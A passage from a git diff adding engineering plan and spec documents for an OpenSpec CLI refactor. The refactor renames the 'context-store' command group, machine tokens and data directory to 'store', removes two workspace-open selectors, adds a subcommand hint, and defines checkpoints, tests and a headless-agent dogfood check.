`src/core/profiles.ts:14–31` (core = propose, explore, apply, sync, + archive); init writes skills per tool dir (`src/core/init.ts:516–546`). +- **Hash pins**: `test/core/templates/skill-templates-parity.test.ts` + pins function payload hashes (32–56) and generated-content hashes + (58–70), and asserts guard text presence (154–171). Template edits + require deliberate hash updates — that is the test working as designed. + +### Checked-in guidance and docs + +- `.codex/skills/use-openspec/SKILL.md` — description (3), beta routing + (41–48, 67–68), invariants (73–80). +- `.codex/skills/use-openspec/references/shared-context-beta.md` — + deleted. +- `.codex/skills/use-openspec/references/artifact-placement.md` — beta + flow mentions (42–44), workspace inspection routing (56–60), + initiative/workspace flows (83–92). +- `docs/cli.md` — summary table (11, 57–62), workspace open flags + (320–328, selector rows 323–325), context-store section (354–450, + stale default-XDG-path text near 377). +- `docs/workspaces-beta/agent-cli-playbook.md` (10, 22) and + `user-guide.md` (8) — `context-store` invocations. + +### Tests (blast radius) + +- Rename + expectation updates: `test/commands/context-store.test.ts` + (72 occurrences) and `context-store-git.test.ts` (rename files), + `test/core/context-store/{foundation,registry}.test.ts` (rename dir), + `test/helpers/context-store-git.ts`, + `test/commands/store-root-selection.test.ts`, + `test/core/root-selection.test.ts`, + `test/cli-e2e/store-lifecycle.test.ts`, + `test/commands/initiative.test.ts`, + `test/commands/workspace-initiative-open.test.ts`, + `test/core/collections/**`, `test/utils/change-metadata.test.ts`, + `test/core/completions/command-registry.test.ts`, + `test/core/templates/skill-templates-parity.test.ts`, + `test/core/shared/skill-generation.test.ts`, + `test/commands/workspace.interactive.test.ts` (10, 120 — uses the + register helper), `test/core/archive.test.ts:28` (comment only). +- Nuance: `test/commands/context-store.test.ts:244` uses + `getDefaultContextStoreRoot` in a *negative* regression assertion + guarding 1.3's no-default-path behavior. Keep the assertion; compute + the would-be default path inline instead of deleting it with the + helper. + +## Implementation Plan + +Four checkpoints, each ending green on the full suite before commit. + +### Checkpoint 1 — the mechanical rename (one commit, rename-only) + +Serial, compiler-driven, one actor (the renames are interlocked through +imports; fanning out would only create merge pain on shared files): + +1. `git mv src/core/context-store src/core/store`; + `git mv src/commands/context-store.ts src/commands/store.ts`; rename + test dirs/files and `test/helpers/context-store-git.ts` similarly. +2. Symbol rename `ContextStore*` → `Store*` (and `contextStore*` locals) + across `src/` and `test/`; fix imports; delete + `getDefaultContextStoreRoot` and its tests. +3. Value renames: `CONTEXT_STORES_DIR_NAME` symbol → `STORES_DIR_NAME`, + value `'context-stores'` → `'stores'`. Metadata dir/file and registry + filename values unchanged. +4. Token sweep over diagnostics and JSON: every code containing + `context_store` → `store` form (sweep-driven, not list-driven; 45 + today including `invalid_*`, `no_*`, plural `context_stores_*`, and + `workspace_context_store_unavailable`); dotted `context_store.*` + diagnostic fields → `store.*`; JSON keys `context_store`/`context_stores` → + `store`/`stores` everywhere they appear, initiative and workspace + output included. +5. Command registration rename (`store` group, subcommands untouched) and + every help/error/hint string: "context store" → "store" with the + locked definition where the string defines the noun; pasteable hints + now name `openspec store ...` commands. Completions registry entries + change in the same step (parity test enforces). +6. Update test expectations mechanically (renamed codes, keys, command + strings, data-dir paths). No behavior assertions weaken. + +Build, full suite, commit. + +### Checkpoint 2 — the two riders (one commit) + +1. Remove `--store`/`--store-path` from `workspace open` — the exact + deletion list: the option registrations (`registration.ts:138–139`), + the `WorkspaceOpenOptions.store`/`storePath` fields + (`types.ts:75–76`), the now-unreachable first branch of + `assertWorkspaceOpenSupportedOptions` (`open-view.ts:102–112`) + including the `workspace_open_store_without_initiative` code and its + fix text (which advertises the removed selectors), the resolver + handoff (`open-view.ts:175–178`), and the `command-registry.ts` + entries (383–392). **Persisted path-bound view state stays**: views + already created with a path binding keep reopening and doctoring + through `WorkspaceContextState` (`open-view.ts:184`); only the CLI + selectors for *new* opens disappear. Initiative resolution keeps the + cross-store search, the qualified `<store>/<initiative>` form, and + the interactive picker; its selector-advertising fix texts + (resolution.ts:192, 234) reword to name only surviving forms. +2. Unknown-subcommand hint on the `store` group: Commander 14's + `command:*` listener fires for unknown operands on a group with no + action handler (verified in `command.js:1624–1628`) — but registering + it **suppresses the default unknownCommand error**, so the handler + owns the entire stderr text and the exit path (write the full + error + subcommand list including `ls` + the + `openspec <command> --store <id>` redirect, then exit 1 via + `store.error(...)`/explicit exit code). Same text for human and + `--json` invocations. Verify against the built binary, not just + unit-level. +3. Tests: workspace-open unknown-option rejection (rewrite the four + selector-using sites at `workspace-initiative-open.test.ts:134, 284, + 370, 435`); preserve a path-bound reopen/doctor case by writing the + view state fixture directly instead of creating it via the removed + flag; new store unknown-subcommand e2e test, which also carries the + spec's negative assertions — `openspec context-store <anything>` + fails as unknown with no alias, and `openspec --help` lists `store` + (locked one-liner) with no `context-store` entry. + +Build, full suite, commit. + +### Checkpoint 3 — guidance regeneration (one commit) + +Disjoint file sets; per the runbook parallelism policy these three +streams may run as a Workflow fan-out with worktree isolation, with one +integration point: + +- **Templates**: add one shared store-selection block (single exported + constant; ~22 call sites across skill + command template functions) — + discover with `openspec store list --json`, carry `--store <id>` on + every issued command, hints carry the flag. Reword the three + out-of-guard workspace-prose mentions (continue-change 72/192, + onboard 281) to schema-instruction language. Guards untouched. Update + both hash tables in `skill-templates-parity.test.ts` deliberately and + extend its guard assertions to require the store block. +- **Checked-in guidance + docs**: rewrite + `.codex/skills/use-openspec/SKILL.md` (store discovery as the + inspection step; no initiative/workspace routing); delete + `references/shared-context-beta.md`; update + `references/artifact-placement.md`; docs accuracy pass: `docs/cli.md` + (store section + summary table + workspace-open flag rows *and the + `--store` example at line ~338* + stale XDG-path text), + `docs/concepts.md` (token renames at 63, 105, and any others the + sweep finds), and `docs/workspaces-beta/` — where token renames alone + are not enough: `agent-cli-playbook.md:28` documents setup without + `--path` (required since 1.3) and `user-guide.md:9-13` describes the + pre-1.3 flagless prompt flow, so those examples get `--path` and the + prose corrected, or every documented invocation fails the docs + acceptance scenario at runtime rather than at parse time. Close the + stream by extracting the fenced `openspec` invocations from the + touched docs and running them (placeholder-aware) against the built + binary. +- **Help-surface labeling**: `workspace` and `initiative` group + one-liners (registration files + completions registry) gain the + legacy-beta labeling; confirm no completions text presents their flows + as normal steps. + +Integrate, build, full suite, commit. + +### Checkpoint 4 — sweep, guards, dogfood (one commit) + +1. **Sweep-as-test**: new `test/vocabulary-sweep.test.ts` walking + exactly the spec's sweep roots — `src/`, `test/`, `docs/`, `.codex/`, + `scripts/` — for `context-store`, `context_store`, `contextStore`, + and `context store` (case-insensitive), failing with offending + file:line. The `openspec/` tree (planning history: `work/`, + `changes/`, `initiatives/`, `explorations/`) is **outside the sweep + roots by design**, not whitelisted inside them. Within the roots the + only exemption is the sweep file's own pattern definitions (built by + concatenation so they never self-match); the committed format + literals (`.openspec-store`, `store.yaml`) don't match the patterns + at all. +2. **Format guards**: explicit test pinning `.openspec-store` and + `store.yaml` literals on disk after setup; test that a store created + with pre-rename code (fixture built by writing the old-shape files + directly) registers cleanly; test that the registry now lives at + `<data-dir>/stores/registry.yaml`. **Negative fixtures for the old + dir**: a data dir containing only the old + `context-stores/registry.yaml` (one valid, one corrupt variant) — + `store list --json` and root selection ignore it without erroring, + and nothing writes into `context-stores/`. +3. **Telemetry**: one assertion that the tracked command path for a + store subcommand is the `store:` form; plus an exact-equality check + that the `--store` description string is identical across Commander + registrations and completions metadata (the spec's one-description + scenario), and a checked-in-guidance grep test that + `.codex/skills/use-openspec/` contains no `initiative list`/ + `workspace list` steps. +4. **Dogfood proof**: scratch project repo, + `openspec init <scratch> --tools claude --profile core` (the + `--tools` flag disables prompting, `src/core/init.ts:175–177`), + isolated `XDG_*` state, `openspec store setup team-context --path + <tmp>/store`; then one headless agent run (`claude -p` or codex + exec) with a plain prompt ("create a change in our team store for + <topic>") and the built CLI on PATH. Assert the change landed under + the store's `openspec/changes/` and no initiative/workspace command + ran; save the transcript under this slice folder as + `dogfood-transcript.md`. + +Build, full suite, commit (transcript + any fixes). + +## Test Plan + +Run order during implementation: + +```bash +pnpm test -- test/core/store test/commands/store.test.ts # CP1 core +pnpm test -- test/commands/store-root-selection.test.ts test/core/root-selection.test.ts +pnpm test -- test/commands/initiative.test.ts test/commands/workspace-initiative-open.test.ts +pnpm test -- test/core/completions/command-registry.test.ts +pnpm test -- test/core/templates test/core/shared/skill-generation.test.ts # CP3 +pnpm run build && pnpm test -- test/cli-e2e/ # built-binary checks +pnpm test # full suite per checkpoint +``` + +New tests added by this slice: vocabulary sweep; store +unknown-subcommand hint (carrying the no-alias and `--help` negative +assertions); workspace-open selector rejection + fixture-based +path-bound reopen; data-dir location + old-dir ignored (valid and +corrupt old registries); pre-rename store registers; committed format +literal pins; telemetry path; `--store` description exact-equality; +checked-in-guidance grep; docs invocation smoke over touched docs; +store block present in generated skills (parity test extension). + +## Risks And Guardrails + +- **The parity hash tables are the intended friction.** Template edits + must update `EXPECTED_FUNCTION_HASHES` and + `EXPECTED_GENERATED_SKILL_CONTENT_HASHES` in the same commit, with the + diff showing exactly the store block and the three rewordings — never + regenerate hashes without reading the content diff. +- **Registry/Commander parity**: `assertRegistryParity` fails unless + registration and completions change in lockstep; do them in one step. +- **Sweep test self-match**: build the forbidden patterns dynamically + (string concatenation) so the sweep file never matches itself; keep the + whitelist explicit and short. +- **Commander unknown-subcommand mechanics** differ by version; rider 2 + must be verified against the built binary (e2e), not only via unit + harness. +- **Initiative/workspace JSON key renames** change contracts of dying + commands; their tests update mechanically — do not add new coverage, + do not restructure (the next slice deletes them). +- **Dev-local registries orphaned** by the data-dir rename: acceptable + and intended (zero users); noted so nobody "fixes" it with a shim. +- **Rename-only commit discipline**: checkpoint 1 mixes file moves with + token edits by necessity, but keeps prose rewrites out so the diff + reads as a rename; reviewers diff checkpoints 2–4 for judgment calls. +- **The dogfood depends on agent CLI availability**: if the headless + agent cannot run in this environment, fall back to scripting the + agent's expected command sequence is **not** acceptable evidence — the + proof is agent autonomy; surface the blocker in the status instead. + +## Done Definition + +- All spec acceptance scenarios pass; the four checkpoint commits are on + `codex/store-root-parity` with the full suite green at each. +- The vocabulary sweep test is in the suite and passing; format-literal + guards in place. +- The dogfood transcript is committed and shows single-prompt store + discovery. +- Roadmap 1.4 progress boxes for spec/plan/implementation/tests ticked, + changelog updated, slice artifacts consistent with what shipped. diff --git a/openspec/work/simplify-context-and-workspace-model/slices/store-rename-and-guidance/spec.md b/openspec/work/simplify-context-and-workspace-model/slices/store-rename-and-guidance/spec.md new file mode 100644 index 0000000000..d31c887e35 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/store-rename-and-guidance/spec.md @@ -0,0 +1,495 @@ +# Store Rename And Guidance Pass Spec + +## Outcome + +The product noun for a registered standalone OpenSpec repo is **store**, +everywhere: the command group, the machine tokens, the help text, the +completions metadata, the generated workflow skills, the checked-in agent +guidance, and the docs. The same pass makes stores discoverable to agents — +a fresh agent session in a project repo with a registered store completes a +store-scoped change from a single prompt, without the human spelling out +flags — and stops the same guidance surfaces from advertising initiatives +and workspaces as normal workflow. + +This is one regeneration pass, not two: teaching guidance that stores exist +and removing initiative/workspace advertising touch the same files, so they +land together. The rename lands first, before any guidance prose is +written, so no guidance bakes in a name that is about to change. + +## Locked Decisions (from roadmap, 2026-06-11) + +1. **The noun is "store"**, defined everywhere as "a store — a standalone + OpenSpec repo you've registered." "Planning repo" and "contracts repo" + are prose examples of what a store is for, never product nouns. + "Context" is retired from this concept (freed for Phase 4). +2. **Command group renames `context-store` → `store`.** Subcommand names + (`setup`, `register`, `unregister`, `remove`, `list`/`ls`, `doctor`) are + unchanged. The `--store` flag stays. The rejected runner-up + (using the repo noun) is not revisited. +3. **Machine tokens rename in the same pass:** `context_store`-bearing + diagnostic codes and JSON keys → `store` forms, and the machine-local + data directory `context-stores/` → `stores/`. +4. **Committed store-repo formats stay:** the `.openspec-store/` metadata + directory name, the `store.yaml` file name and shape, and the registry + file shape are unchanged. A store created before this slice is still a + valid store after it. +5. **Two riders land with the rename:** + - Remove the second live meaning of `--store`: `workspace open + --store <id>` and `workspace open --store-path <path>` (initiative + selectors) are removed from registration and from the completions + metadata this slice regenerates. + - Add an unknown-subcommand hint under the `store` group for the + inevitable `openspec store new change <id>` mistake, pointing at + `openspec new change <id> --store <id>`. +6. **Out of scope by prior decision:** the content of + `schemas/workspace-planning/templates/` (Phase 5 decides its fate), and + any command behavior changes beyond the rename and the two riders. + +## The Rename Rule (one principle, no carve-outs) + +The reviews of the first draft converged on one principle, adopted here: + +> **The token rename is total and mechanical. The prose rewrite is +> surgical.** + +- **Total token rename.** After this slice, no live surface — help, + errors, hints, JSON codes and keys, dotted diagnostic `target` values, + completions, generated guidance, checked-in guidance, docs — emits or + contains the tokens `context-store`, `context_store`, `contextStore`, + or the phrase "context store". This includes the `initiative` and + `workspace` groups: their machine tokens, flag descriptions, hint + strings, and JSON keys rename mechanically even though both groups are + deleted in the next slice, because a hint a user pastes must work + verbatim and an acceptance grep must not need a carve-out list. + Whitelist (the only survivors): the committed format literals + (`.openspec-store/` directory name, `store.yaml` filename) and the + `openspec/` planning-history tree (`work/`, `changes/`, + `initiatives/`, `explorations/`), which sits outside the sweep roots + entirely. +- **Surgical prose rewrite.** Structural rewriting — new teaching text, + removed advertising, legacy labeling — happens only on the guidance + surfaces enumerated in Scope. Inside the `initiative` and `workspace` + groups the rename substitutes tokens and nothing else: no restructuring, + no new prose, because that code dies in the next slice. +- **Behavior changes are exactly the two riders.** Everything else is + byte-equivalent behavior under new names. + +## Decisions This Spec Makes (autonomous, recorded in the changelog) + +1. **No back-compat alias and no data-dir migration.** The `context-store` + command group disappears entirely — no hidden alias — and the old + `context-stores/` data directory is neither read nor migrated. The + feature has zero users (everything since slice 1.1 is unmerged), and + Phase 5's criteria are already locked as delete-don't-hide. +2. **Internal identifiers rename too.** `src/core/context-store/` → + `src/core/store/`, `src/commands/context-store.ts` → + `src/commands/store.ts`, `ContextStore*` symbols → `Store*`, and test + and helper files follow (`test/commands/context-store*.test.ts`, + `test/core/context-store/`, `test/helpers/context-store-git.ts`). One + concept, one token applies to the codebase, not just user-facing + strings; the rename is compiler-checked and free while there are no + users. +3. **The legacy groups get token substitution only.** The `initiative` and + `workspace` groups are deleted in the next slice (the Phase 5 + command-group deletion), so this slice renames their tokens (per the + rename rule above) and their group one-liners, and changes how + completions present them — but does not restructure their prose, + behavior, or tests beyond what the rename forces. Their `--store` + selectors (for example `initiative create --store`, a store-id + selector, and initiative's live `--store-path`) keep their behavior + under reworded descriptions and die with the groups next slice; the + spec names this as an accepted, expiring inconsistency rather than + pretending `--store` has exactly one meaning while the legacy groups + still breathe. +4. **Workspace guards in workflow templates stay; stray workspace prose + goes.** The guards quote a live JSON contract (`actionContext.mode: + "workspace-planning"`, still reachable until 4.1 rebuilds opening) and + they refuse workspace flows rather than advertise them. Ground truth + correction to the roadmap's surface inventory: five templates carry + the guard (apply-change, archive-change, bulk-archive-change, + sync-specs, verify-change), twice each (two profile variants); zero + templates reference initiatives. Three further mentions sit outside + guards — `continue-change.ts:72,192` and `onboard.ts:281` ("workspace + planning context") — and are reworded to schema-instruction language. +5. **Docs get a mechanical accuracy pass, not the deferred rewrite.** The + rename deletes the documented `context-store` commands, so every doc + that instructs running them is updated mechanically: `docs/cli.md` + (store section renamed and reworded to the locked vocabulary; the + `workspace open --store`/`--store-path` rows deleted per rider 1; the + stale default-XDG-path line corrected — 1.3 already made `--path` + required; initiative rows token-renamed and legacy-labeled), + `docs/concepts.md` (token renames), and the `docs/workspaces-beta/` + files (`agent-cli-playbook.md`, `user-guide.md`), which get token + renames plus correctness fixes where a documented invocation already + fails against the current CLI (setup examples missing the `--path` + that 1.3 made required; pre-1.3 prompt-flow prose). Deleting the beta + docs outright belongs to the Phase 5 remainder; the public + concept-docs rewrite (L1) stays deferred. +6. **The checked-in beta guidance is cut, not updated.** + `.codex/skills/use-openspec/references/shared-context-beta.md` + advertises initiative/workspace flows that the next slice deletes; per + the locked 5.1 sequencing ("guidance surfaces die in slice 1.4"), the + reference file is deleted, `SKILL.md` is rewritten around store + discovery instead of routing to it, and + `references/artifact-placement.md` loses its beta context-store flow + section and workspace-inspection routing (placement guidance itself + stays). Ground truth discovered during implementation: `.codex/` is + git-ignored (`.gitignore:158`) — this guidance is the L8 + ignored-local-skill, not checked-in source, so its rewrite lands on + disk for local agents but cannot appear in a commit; L8 still owns + its final disposition. +7. **Dead store code is deleted, not renamed.** + `getDefaultContextStoreRoot` (`foundation.ts:67`) lost its last + production caller when 1.3 made `--path` required; the rename pass + deletes it (and its tests) per the locked delete-don't-hide criteria + rather than carrying a dead export under a new name. +8. **Module-size bar, recorded reason.** The rename touches + `src/core/context-store/operations.ts` (~1077 lines) and + `src/commands/context-store.ts` (~751 lines), both over the ~600-line + bar. No split in this slice: the changes are mechanical token + substitution, and the upcoming Phase 5 deletions and 4.1 rebuild will + shrink or restructure these modules; splitting mid-rename would create + review noise for structure that is about to change again. + +## User Experience + +### A human renames nothing; the product finally says one word + +```bash +openspec store setup team-context --path ~/src/team-context +openspec store list +openspec store doctor +``` + +Top-level help describes the group as the standalone OpenSpec repo +feature, in the locked vocabulary: + +```text +store Create and manage stores - standalone OpenSpec repos you register on this machine +``` + +The `--store` flag on lifecycle commands reads "Store id to use as the +OpenSpec root (a store is a standalone OpenSpec repo you've registered)". +Nothing in help, errors, JSON, completions, or docs says "context store" +anymore. + +### An agent discovers the store on its own + +A human in an app repo says: "create a change for the billing rework in +our team store." The agent's generated workflow skill tells it how stores +work: discover with `openspec store list --json`, then carry +`--store <id>` on every lifecycle command. The agent runs: + +```bash +openspec store list --json # finds id: team-context +openspec new change billing-rework --store team-context +``` + +and every hint the CLI prints keeps `--store team-context` in the loop, so +the agent never falls back to the wrong root. No initiative or workspace +command appears anywhere in the skill's instructions. + +### The inevitable wrong turn lands somewhere useful + +```text +$ openspec store new change billing-rework +Error: unknown command 'new' for 'openspec store'. +Store subcommands manage store registration: setup, register, unregister, +remove, list (ls), doctor. +To create or work on a change in a store, use the normal command with +--store, for example: + openspec new change billing-rework --store <id> +``` + +### Old beta surfaces stop volunteering + +`workspace open --store` and `--store-path` no longer exist. The +`workspace` and `initiative` group one-liners say they are legacy beta +surfaces, completions metadata stops presenting their flows as normal +steps, and the hints they still print name commands that actually exist. +(Both groups are deleted outright in the next slice; this slice only +stops the advertising and keeps every printed hint pasteable.) + +## Scope + +In scope: + +- **Group rename**: `context-store` → `store` in command registration + (`src/commands/context-store.ts:691-751`, `src/cli/index.ts:22,349`), + with subcommand names, arguments, and behavior unchanged. Telemetry + command paths follow mechanically (`store:setup` etc. via the generic + command-path tracker at `src/cli/index.ts:100-101`). +- **Machine tokens, repo-wide per the rename rule**: every diagnostic + code containing `context_store` (the 37 `context_store_*`-prefixed + codes plus `invalid_context_store_id`, `invalid_context_store_metadata`, + `invalid_context_store_path`, `invalid_context_store_registry`, + `no_context_store_registry`, `context_stores_unreadable`, + `context_stores_partially_unreadable`, and + `workspace_context_store_unavailable` — 45 total today, pinned by + sweep, not by this count); every dotted diagnostic `target` value in + the `context_store.*` family (foundation, operations, git, registry, + root-selection, openspec-root); every JSON output key + (`context_store`/`context_stores` → `store`/`stores`), including the + `initiative` command output shapes (`src/commands/initiative.ts:50-71`) + and workspace-open JSON (`src/commands/workspace/open-view.ts:61`); the + XDG data dir `context-stores/` → `stores/` + (`foundation.ts:14,59-65`), registry filename `registry.yaml` + unchanged. +- **Hint strings on kept-alive paths**: every fix/hint that names a + `context-store` command renames so it stays pasteable, including + initiative resolution (`src/core/collections/initiatives/resolution.ts:551,565,625`, + and its `--store`/`--store-path` advertising at `:192,234`, which + renames to name surviving selectors only), workspace surfaces + (`src/commands/workspace/context-status.ts:48`, `open-view.ts:211`, + `open-target-selection.ts:142`), and stray core strings + (`src/core/change-metadata/schema.ts:14`, + `src/core/collections/runtime.ts:282`, + `src/core/workspace/open-surface.ts:21,120-138` — token substitution + only on the legacy generated workspace guidance). +- **Internal renames**: module directory, command file, exported symbols, + helper/test files (per autonomous decision 2), and deletion of the dead + `getDefaultContextStoreRoot` export (decision 7). +- **Preserved formats, guarded by tests**: `.openspec-store/` directory + name, `store.yaml` filename and shape, registry shape. +- **Rider 1**: remove `--store`/`--store-path` from `workspace open` + (`src/commands/workspace/registration.ts:138-139`, completions + `command-registry.ts:383-392`). `workspace open --initiative <id>` keeps + resolving through the existing cross-store search, the qualified + `<store>/<initiative>` form, and the interactive picker + (`open-target-selection.ts:195-240`). +- **Rider 2**: an unknown-subcommand handler on the `store` group naming + the real subcommands (including the `ls` alias) and pointing + lifecycle-shaped mistakes at `openspec <command> --store <id>`. The + hint prints on stderr in both human and JSON invocations, consistent + with existing Commander unknown-command behavior; no new JSON envelope. +- **Help and flag prose**: the `store` group and subcommand one-liners, + `STORE_OPTION_DESCRIPTION` (`src/cli/index.ts:41`), the hidden + `--store-path` rejection message (`src/cli/index.ts:47-53`), and the + `workspace` and `initiative` group one-liners (legacy-beta labeling). +- **Completions metadata**: `shared-flags.ts:29-33` store-flag + description; `command-registry.ts` store group entries renamed and + reworded; initiative/workspace entries token-renamed and labeled + legacy; the `workspace open` store selectors removed. +- **Generated workflow skills** (`src/core/templates/workflows/`, 12 + templates): add store teaching — when the user names a store or the + work lives in a registered store, discover ids with + `openspec store list --json` and carry `--store <id>` on every + `openspec` command the skill issues; note that printed hints carry the + flag. Workspace guards stay in the five templates that carry them; the + three out-of-guard workspace-planning prose mentions + (`continue-change.ts:72,192`, `onboard.ts:281`) reword to + schema-instruction language; no initiative or workspace flow is + presented as a normal step. +- **Checked-in agent guidance**: `.codex/skills/use-openspec/SKILL.md` + rewritten around store discovery (`openspec store list --json` as the + inspection command; `--store` as root selection); + `references/shared-context-beta.md` deleted; + `references/artifact-placement.md` updated per decision 6. +- **Docs accuracy pass** per decision 5: `docs/cli.md`, + `docs/concepts.md`, and `docs/workspaces-beta/agent-cli-playbook.md`, + `user-guide.md`. +- **Dogfood acceptance** (runbook): a headless agent session in a scratch + project repo that carries generated workflow skills (produced by + `openspec init` in the scratch repo), with isolated XDG state and a + registered store, completes a store-scoped change from a single plain + prompt that names the team store but no ids or flags. + +Out of scope: + +- Deleting the `workspace` and `initiative` command groups (the next + slice in the queue) or restructuring their internals beyond token + substitution and one-liners. +- `schemas/workspace-planning/templates/` content, the + `workspace-planning` schema name, and the `actionContext.mode: + "workspace-planning"` contract value (alive until 4.1). +- Any command behavior change beyond the rename and the two riders: no + resolver changes, no new flags, no setup/register/doctor behavior + changes, no removal of the initiative group's own selectors. +- Migration or reading of the old `context-stores/` data directory. +- Changes to `.openspec-store/store.yaml` or registry content shapes. +- References and fallback stores (Phase 3); `view`/opening + (Phase 4). +- Deleting `docs/workspaces-beta/` (Phase 5 remainder) and the public + concept-docs rewrite (L1) beyond the accuracy pass above. + +## Acceptance Criteria + +### The Rename Is Total + +#### Scenario: The Store Group Replaces Context-Store + +- **GIVEN** the built CLI +- **WHEN** the user runs `openspec store setup|register|unregister|remove|list|ls|doctor` +- **THEN** each behaves exactly as its `context-store` counterpart did + before this slice +- **AND** `openspec context-store <anything>` fails as an unknown command + with no alias or redirect +- **AND** `openspec --help` lists `store` with a one-liner using the + locked definition and lists no `context-store` group + +#### Scenario: Machine Tokens Speak Store + +- **WHEN** any command emits JSON (success or error), including the + legacy `initiative` and `workspace` groups +- **THEN** diagnostic codes use `store` forms (for example + `store_not_found`, `invalid_store_id`, `no_store_registry`, + `workspace_store_unavailable`), dotted `target` values use the + `store.*` family, and payload keys are `store`/`stores` +- **AND** no output contains the token `context_store` + +#### Scenario: The Sweep Is The Test + +- **WHEN** the repo is swept for `context-store`, `context_store`, + `contextStore`, and the phrase "context store" (case-insensitive) + across `src/`, `test/`, `docs/`, `.codex/`, scripts, and completions +- **THEN** the only matches are the committed format literals + (`.openspec-store/`, `store.yaml` where it names that file), the + `openspec/work/` planning-history folder, and archived/changelog + history +- **AND** this sweep is encoded as a test or check the suite runs, so + drift cannot return silently + +#### Scenario: The Data Directory Moves, The Committed Format Does Not + +- **GIVEN** a fresh machine state +- **WHEN** the user sets up and registers a store +- **THEN** the registry lives at `<data-dir>/stores/registry.yaml` +- **AND** the store root still carries `.openspec-store/store.yaml` with + the same schema as before this slice +- **AND** a store repo created before this slice registers successfully + after it +- **AND** nothing reads or writes the old `context-stores/` directory + +#### Scenario: Tests Guard The Committed Names + +- **WHEN** the suite runs +- **THEN** explicit assertions pin `.openspec-store` and `store.yaml` as + on-disk literals, so a future rename pass cannot silently break cloned + stores + +#### Scenario: Telemetry Paths Follow + +- **WHEN** a store subcommand runs with telemetry enabled +- **THEN** the tracked command path is the `store:` form (for example + `store:setup`), with no other telemetry changes + +### --store Converges On Root Selection + +#### Scenario: Workspace Open Loses Its Store Selectors + +- **WHEN** the user runs `openspec workspace open --store x` or + `--store-path /tmp/x` +- **THEN** the CLI rejects the unknown option +- **AND** `workspace open --help` and completions metadata list neither + option +- **AND** `workspace open --initiative <id>` still resolves initiatives + through registered stores, including the qualified + `<store>/<initiative>` form and the interactive picker +- **AND** no surviving hint or completion advertises the removed + selectors + +#### Scenario: One Root-Selection Description On Lifecycle Commands + +- **WHEN** `--store` appears in the help or completions of any command + outside the legacy `initiative` group +- **THEN** its description is the root-selection meaning in store + vocabulary, identical across commands +- **AND** the legacy `initiative` group's `--store`/`--store-path` + selectors keep their behavior under store-vocabulary descriptions + (an accepted inconsistency that the next slice deletes with the group) + +### The Wrong Turn Gets A Hint + +#### Scenario: Lifecycle Commands Under The Store Group + +- **WHEN** the user runs `openspec store new change add-x` (or another + unknown `store` subcommand) +- **THEN** the error names the real store subcommands, including the + `ls` alias +- **AND** points at the normal command with `--store`, for example + `openspec new change add-x --store <id>` +- **AND** the hint is copy-pasteable apart from the `<id>` placeholder +- **AND** the hint prints on stderr for both human and `--json` + invocations + +### Every Hint Stays Pasteable + +#### Scenario: Kept-Alive Surfaces Name Living Commands + +- **GIVEN** the `initiative` and `workspace` groups still exist this + slice +- **WHEN** any of their reachable errors, hints, or fix texts names an + `openspec` command (for example initiative resolution's + registry-missing fix, workspace context status, workspace open + failures) +- **THEN** the named command exists in the renamed CLI and works verbatim + apart from placeholders + +### Guidance Teaches Stores And Stops Advertising Beta + +#### Scenario: Generated Workflow Skills Teach Store Selection + +- **GIVEN** freshly generated workflow skills (any profile) +- **WHEN** a skill instructs the agent to run root-resolving `openspec` + commands +- **THEN** the skill teaches discovering stores with + `openspec store list --json` and carrying `--store <id>` on every + command when the work selects a store +- **AND** no generated skill mentions `initiative` or presents workspace + flows as normal steps +- **AND** the workspace-planning guards remain in the five templates that + carry them today +- **AND** the three out-of-guard workspace-planning prose mentions are + gone + +#### Scenario: Checked-In Skill Guidance Routes To Stores + +- **WHEN** an agent reads any file under `.codex/skills/use-openspec/` +- **THEN** store inspection is `openspec store list --json` +- **AND** `initiative list` and `workspace list` no longer appear as + inspection or workflow steps anywhere in the directory +- **AND** the shared-context beta reference file is gone + +#### Scenario: Legacy Groups Are Labeled, Not Advertised + +- **WHEN** the user reads `openspec --help` or completions metadata +- **THEN** the `workspace` and `initiative` one-liners identify them as + legacy beta surfaces +- **AND** no completions metadata describes initiative or workspace flows + as the way to share or coordinate work + +#### Scenario: Docs Match The Shipped Commands + +- **WHEN** the user reads `docs/cli.md` or `docs/workspaces-beta/` +- **THEN** every documented invocation runs against the built CLI without + an unknown-command or unknown-option error +- **AND** the `docs/cli.md` store section uses the `store` group name and + the locked vocabulary, and no longer documents the removed + `workspace open` store selectors or the pre-1.3 default-XDG-path setup + behavior + +### A Fresh Agent Completes The Loop + +#### Scenario: Single-Prompt Store-Scoped Change (Dogfood Proof) + +- **GIVEN** a scratch project repo prepared with `openspec init` (so the + generated workflow skills are present), isolated XDG state, and a + registered store +- **WHEN** a fresh headless agent session is prompted once, in plain + language, to create a change in the team store (the prompt names the + store in words but contains no ids, paths, or flags) +- **THEN** the agent discovers the registered store id and creates the + change in the store root using `--store` +- **AND** no initiative or workspace command is invoked +- **AND** the transcript is kept as the slice's acceptance evidence + +### Nothing Else Moves + +#### Scenario: Behavior Parity Outside The Renamed Surfaces + +- **WHEN** the full suite runs after the rename +- **THEN** setup/register/unregister/remove/list/doctor behavior, + root-selection precedence, and the 1.3 journey test pass unchanged + apart from the renamed tokens +- **AND** the only behavior deltas in the slice are the two riders and + the deleted dead export diff --git a/openspec/work/simplify-context-and-workspace-model/slices/store-root-parity/plan.md b/openspec/work/simplify-context-and-workspace-model/slices/store-root-parity/plan.md new file mode 100644 index 0000000000..a8a205e808 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/store-root-parity/plan.md @@ -0,0 +1,629 @@ +# Context Store Root Parity Plan + +## Status + +Planned. + +This plan follows the slice spec after the 2026-06-10 product review decisions. +It is written as an implementation plan, but the product contract comes first: +humans and agents should experience a context store as a normal OpenSpec root +with one thin identity file. + +## Source Of Truth + +Start from `spec.md`. + +Also keep these nearby artifacts in view: + +- `../../goal.md` +- `../../roadmap.md` +- `../../../AGENTS.md` + +The core model for this slice is: + +```text +context store = normal OpenSpec root + .openspec-store/store.yaml +``` + +That means durable planning state lives in normal OpenSpec artifacts: + +```text +context-store-root/ + .openspec-store/ + store.yaml + openspec/ + config.yaml + specs/ + changes/ + archive/ +``` + +`.openspec-store/store.yaml` is identity metadata only. It is not a planning +model, workspace model, initiative model, migration marker, or compatibility +contract for old beta files. + +## User-Facing Frame + +What the human wants: + +- "Create a context store I can use as a normal OpenSpec place for specs and + changes." +- "Register the context store my teammate already pushed and I cloned locally." +- "Tell me whether this store is healthy without secretly changing files." +- "Do not overwrite my config, specs, changes, archives, or old local files." + +What the agent needs to know: + +- Whether the folder is a healthy OpenSpec root. +- 